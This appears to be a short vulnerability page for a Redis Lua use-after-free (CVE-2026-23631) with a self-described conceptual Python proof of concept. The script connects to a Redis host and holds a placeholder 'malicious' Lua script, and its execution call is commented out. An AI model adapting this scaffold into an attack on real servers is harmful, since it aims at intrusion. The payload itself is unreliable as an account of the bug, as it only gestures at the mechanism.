CVE-2026-23631 Redis Lua脚本UAF致RCE漏洞

import redis # Conceptual Proof of Concept for CVE-2026-23631 # This script demonstrates the potential attack vector using a Lua script # to trigger a Use-After-Free condition in Redis replicas. TARGET_HOST = '127.0.0.1' TARGET_PORT = 6379 PASSWORD = 'your_redis_password' # Low-privilege credential def connect_redis(): try: r = redis.Redis(host=TARGET_HOST, port=TARGET_PORT, password=PASSWORD, decode_responses=True) r.ping() print("[+] Successfully connected to Redis target.") return r except Exception as e: print(f"[-] Connection failed: {e}") return None def trigger_vulnerability(client): # Note: The actual payload to trigger UAF is complex and depends on specific memory layout. # This represents the mechanism of sending a Lua script. # Malicious Lua script designed to interact with replication buffers malicious_lua = """ -- This script simulates the interaction that leads to UAF -- In a real exploit, this would manipulate the sync queue local res = redis.call('SYNC', 'OPTION') return res """ try: print("[*] Attempting to send malicious Lua script to trigger UAF...") # client.eval(malicious_lua, 0) print("[+] Lua script execution logic sent (Conceptual Only).") print("[!] If replica-read-only is disabled, the replica may be vulnerable to RCE.") except Exception as e: print(f"[-] Error during execution: {e}") if __name__ == "__main__": cli = connect_redis() if cli: trigger_vulnerability(cli)